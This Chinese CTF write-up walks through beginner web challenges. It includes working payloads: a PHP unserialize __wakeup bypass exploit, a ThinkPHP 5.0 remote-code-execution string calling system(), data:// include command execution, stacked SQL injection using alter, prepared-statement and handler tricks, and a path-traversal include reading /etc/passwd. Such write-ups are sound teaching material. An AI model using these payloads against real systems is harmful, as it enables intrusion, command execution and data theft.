学习内容
一、“1”分题
1. baby_web
- 题目内容提示初始页面,一般初始页面都是
index.php
index.html
等 - 进入链接后,这里显示的时
1.php
- 当直接访问
index.php
的时候会再次跳转到1.php
,存在302跳转 - 使用浏览器的工具直接调试,在
network
那里刷新查看,确实是302跳转,然后在头部信息中看到flag
- 补充:
302
跳转的也可以使用命令curl
进行获取,加上-i
参数查看头部信息
2. Training-WWW-Robots
-
看题目就比较明显的,还是
robots
协议,进入链接后也很明显的介绍了
-
直接访问
robots.txt
文件,得到一个PHP文件fl0g.php
-
直接访问文件即可获得flag
3. PHP2
-
进入链接,这里说的是需要我们登陆,但尝试login.php等都没有相应的文件存在
-
扫一下目录,看到一个
index.phps
文件(这里主要看字典是否给力了)
-
访问文件内容如下
-
只需要上传一个参数
id
且值等于admin即可,但需要进行两次URL编码 -
admin
-->%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
二、“2”分题
1. Web_php_unserialize
-
题目如下
-
代码如下,简单的分析一下代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) { //对象创建时调用
$this->file = $file;
}
function __destruct() { //对象销毁时调用
echo @highlight_file($this->file, true);
}
function __wakeup() { //unserialize()时会调用
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配,能够匹配 O:数字 格式开头的内容
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
-
题目是一个反序列化问题,主要知识点是需要绕过正则匹配和
__wakeup()
方法 -
preg_match('/[oc]:\d+:/i', $var)
正则匹配,在传入的序列化对象中有O:4
的内容,会被匹配到,可以更改为O:+4
即可绕过 -
__wakeup()
(CVE-2016-7124):当 PHP5<5.6.25、PHP7<7.0.1 时,如果成员属性数目大于实际数目时可以绕过此方法 -
构造EXP如下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$demo = new Demo('fl4g.php');
$pay = str_replace('O:', 'O:+', serialize($demo));
$pay = str_replace(':1:', ':2:', $pay);
echo base64_encode($pay);
?>
2. php_rce
- 一进去就看到Think PHP v5.0,这个版本存在一个远程代码执行漏洞,然后题目也是php rce
- 利用payload: 依次执行命令获取flag即可
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
3. Web_php_include
- 查看内容,这里可以利用PHP伪协议,虽然
php://
会被过滤,但还可以尝试使用file://
data://
协议等
- 这里利用
data://
协议,用来执行PHP代码,如下,执行phpinfo()
成功
- 接下来将
phpinfo()
换成system()
函数,用来执行命令
- flag文件在当前目录下,直接
cat
即可,但需要注意的是,flag需要查看源代码才能看到
4. supersqli
4.1 方法一:堆叠注入改表获取
-
先判断一下注入类型,常规就是
and 1=1
,or 1=1
等,然后考虑是单引号还是双引号闭合等 -
观察这里,在后面直接输入单引号时报错,然后使用
--+
进行闭合时能正常搜索,所以可以知道是单引号闭合
-
从图中可以看到返回的内容至少都有两个字段,所以直接
order by 3
,发现超出范围,然后再尝试order by 2
能够显示,所以可以知道字段就是两个
-
然后
union
联合注入的时候发现过滤了很多关键字
-
从里面可以看到,比如
show
等关键字没被过滤掉,所以可以先尝试堆叠注入,如果行不通再尝试怎么绕过过滤 -
从图中可以看到,可以采用堆叠注入
-
接下来就是获取字段了,可以使用
show columns from table_name
的形式获取,但是表名需要使用反引号
-
这里可以知道flag在表
1919810931114514
中,不过select
被过滤了,所以想直接跨表获取内容是不可能的 -
再来看有哪些关键字被过滤了
-
preg_match("/select|update|delete|drop|insert|where|\./i",$inject)
-
仔细看
alter
关键字没有被过滤,那可以考虑一下,是不是可以通过利用alter
关键字修改表名的方式绕过过滤 -
可以知道当前PHP脚本获取的数据是
words
表中的数据,然后查看一下words
表中的字段信息
-
第一个字段是
id
,我们获取的内容也是通过这个id
获取到的,然后1919810931114514
表中的第一个字段就是flag
-
所以这里有三个步骤
1. 把 words 表的名字改成其他任意名字,注意两个表的名字不能有冲突,否则不会成功
2. 把 1919810931114514 表名字改成 words
3. 将 flag 字段名改成 id
注意:上面三个步骤顺序不能颠倒,而且必须同时修改,也就是一次性修改
如果先执行第二步,因为words表名存在,无法修改成功
如果三个步骤没有一次性修改,则因为words表名已经被修改
导致直接破坏了PHP脚本的完整性,脚本获取不到words表,所以后继的操作也将不能继续
- payload如下
-1';alter table `words` rename `aaa`;alter table `1919810931114514` rename `words`;alter table `words` change flag id varchar(100); --+
- 执行结束后,直接
1' or '1'='1
即可
4.2 方法二:堆叠+预编译
4.2.1 预编译讲解
- 简单理解一下MySQL中的预编译
正常情况下使用预编译功能,都是从客户端发送一条SQL语句到服务器,然后服务器校验传递过来的SQL语句语法格式是否正确,再将SQL语句编译成可执行的函数,最后开始执行SQL语句
在服务端编译和校验的过程耗费的时间会比较多,如果执行的数据量比较大,会非常的耽搁时间
但是如果每次执行的SQL语句语法都是相同的,只有其中的一些值有所不同,通过采用预编译功能,就可以达到只针对SQL语句进行一次语法校验和编译,然后填入数据就能直接执行,从而很大程度上提高了效率
简单来说,预编译的实现过程就是提前将需要使用的SQL语句编译好,然后直接使用即可,预编译其实是可以在一定程度上防御SQL注入的,但是在堆叠注入中就容易被很好的利用,导致SQL注入
- 预编译的实现过程
# 预编译一条SQL语句执行语法结构
PREPARE stmt_name FROM preparable_stm;
# SET 绑定参数
SET @str=data;
# 执行语句
EXECUTE stmt_name [USING @var_name [, @var_name]...];
- 举例1:
# 准备执行语句,问好表示需要填充的数据位置
PREPARE func FROM 'select * from test where id=?';
# SET 绑定一个参数
SET @id=1;
# 执行语句
EXECUTE func using @id;
- 举例2:
# 先SET绑定SQL指令
SET @sql='select * from test';
# 准备执行
PREPARE e FROM @sql;
# 执行指令
EXECUTE e;
4.2.2 题目解法
-
OK,上面知道了MySQL的预编译后,下面回到题目
-
这里可以知道了
select
关键字是被过滤了的
-
然后可以尝试一下使用预编译的方式,先将
select
拆解,然后使用concat
函数连接,在本地测试一下(注意一下,在本地测试的时候直接就是from
跟上表名,但是在注入中还是需要使用反引号将表名引起来),如图:
-
OK,知道了怎么预编译了,接下来就是编译payload了
-
同样的也是通过堆叠获取到flag在
1919810931114514
表中,所以:
set @f=concat('sel','ect flag from `1919810931114514`');
prepare g from @f;
execute g;
- 不过在提交payload的时候遇到了问题,这里还是被检查到了,不过好在没有使用正则匹配啊啥的,试一下大小写绕过等常规方法看是否能绕过去
- 好哒,大小写成功绕过
4.3 方法三:handler查询
4.3.1 handler学习
还是一样的,先学习一下MySQL中的handler,弄清楚怎么用才是最重要的,详情可以查看官方文档,下面简要学习一下:
首先需要知道的是,handler是MySQL中专有的,用来提供对表存储引擎接口的直接访问,适用于 innoDB
和 MyISAM
。
简答的理解来说就是:利用handler
也可以直接读取表中的内容,可以起到和select
一样的效果,不过handler
不具备完全的select
的所有功能,所以只是在MySQL中存在,并没有写入到SQL语法中。
handler
的基本语法:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
# 简要说明
1. handler tbl_name open # 打开一张表,没有返回结果,只是声明了一个句柄
2. handler tbl_name read index_name # 读取句柄,也就是读取表的内容
# index_name 的取值有:FIRST | NEXT | PREV | LAST
# FIRST 表示读取第一行
# NEXT 继续读取下一行
# PREV 读取上一行
# LAST 读取最后一行
# 除了上面的用法还可以是:
# index_name=value 指定从哪一行开始读取
3. handler tbl_name close # 关闭打开的句柄,在调用该语句之前,句柄不会自己关闭
- 弄清楚用法后,接下来本地建表测试一下:
# 创建表 handler_test
create table handler_test(
id tinyint auto_increment not null,
username varchar(50) not null,
passwd varchar(100) not null,
primary key(id));
# 插入数据
insert into handler_test value(null,"Jack",md5('jack123'));
insert into handler_test value(null,"Tom",md5('tom123'));
insert into handler_test value(null,"Lucy",md5('lucy123'));
insert into handler_test value(null,"James",md5('james123'));
- 接下来使用
HANDLER tbl_name READ { FIRST | NEXT }
的形式查询信息
# 直接打开表查询
handler handler_test open;
handler handler_test read first;
handler handler_test close;
# 也可以重新取一个表名
handler handler_test open as h;
handler h read first;
handler h close;
-
使用索引的形式查找,也即
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
的类型 -
注意 :因为在创建表的时候是不存在索引的,所以如果直接使用
handler
查询的话会报错,如下:
- 所以需要先创建一个索引
# 创建索引 handler_id
create index handler_id on handler_test(id);
# handler 查询
handler handler_test open as h;
handler h read handler_id=(1);
handler h close;
4.3.2 题目解法
通过上面对handler
的学习,相信题目的解法很容易就知道了
基本思路:也是利用堆叠注入的原理,然后结合handler
的特性,实现跨表查询
- payload如下:
handler `1919810931114514` open as f;
handler f read first;
handler f close;
5. ics-06
- 刚进去就是一个工控云管理系统的,然后随便点击它的功能点,不过都没反应
- 当点击到报表中心的时候,发现有页面跳转了,然后URL中还有提交的参数
- 下面还显示了一个送分题,在这种有参数
id
,可以考虑是否存在注入漏洞,代码执行等 - 一番尝试无果,不是注入,也不是代码执行
- 然后使用burp抓包看一下参数信息,能控制的参数只有
id
- 尝试对参数
id
进行爆破
- 选择payload类型为数字,然后爆破的范围可以适当大一些
- 当提交的
id=2333
时,在返回的内容中可以看到flag
6. warmup
-
进去就是一个很大的滑稽。。。
-
然后还是一样的,先看一下前端代码,发现有一个
source.php
文件
-
直接访问
source.php
-
在代码中看到了还有一个文件
hint.php
,尝试访问一下,然后获取到flag文件名ffffllllaaaagggg
-
回到
source.php
文件,看一下代码的内容
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
- 思路分析:利用点为下面的内容(文件包含)
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; // 文件包含
exit;
}
// 主要在这里,有一个 include 文件包含,可以将传入的 file 参数进行包含
// emmm::checkFile($_REQUEST['file'] 这里会调用类中的函数对参数进行检查,需要绕过
- 在
emmm
类中,有如下判断,需要传入的参数必须在白名单中,也就是写死了,只能包含source.php
或者hint.php
- 所以想直接
file=ffffllllaaaagggg
的形式获取flag是不可能的
if (in_array($page, $whitelist)) {
return true;
}
- 接下来思考,在代码中能获取到flag的方法只有通过
include
文件包含获取,但是每次都要经过checkFile()
函数的检查,而且也被白名单写死了 - 既然没有别的利用点,那么可以思考
include
是否会存在某些漏洞或者什么特性能达到包含flag文件的效果 - 直接查看PHP手册关于
include
的描述,内容如下:
- 注意里面很关键的一点:
如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 … 开头)——include_path 都会被完全忽略。例如一个文件以 …/ 开头,则解析器会在当前目录的父目录下寻找该文件。
- 那么,这句话什么意思呢??
可以简单的这么理解,在
include
的时候,如果定义了绝对或者相对路径,那么会直接包含这个路径下的文件,其余的会被忽略掉
- 然后接着看下面这段代码,在第一次没有匹配到白名单的内容,然后会对
?
进行一次切割,mb_substr()
函数可以用来截取获得某一段字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
// 这里 mb_strpos() 会根据 ? 进行一次切割
// 如果切割后的内容在白名单中,就会返回 true
-
结合前面的内容,如果构造
hint.php
后面加上一个?
,那么在第二次切割后就能让checkFile()
函数返回true
,然后在?
后面使用相对路径获取其他文件,那么在include
的的特性,会先包含相对路径,忽略掉其余的内容,从而达到包含我们想要的文件 -
所以,构造
file=hint.php?../../../../../etc/passwd
,发现能够正常包含
-
最后将
/etc/passwd
改成/ffffllllaaaagggg
即可
【结语】 新人入坑,如果有讲的不对的地方,还请各位师傅指出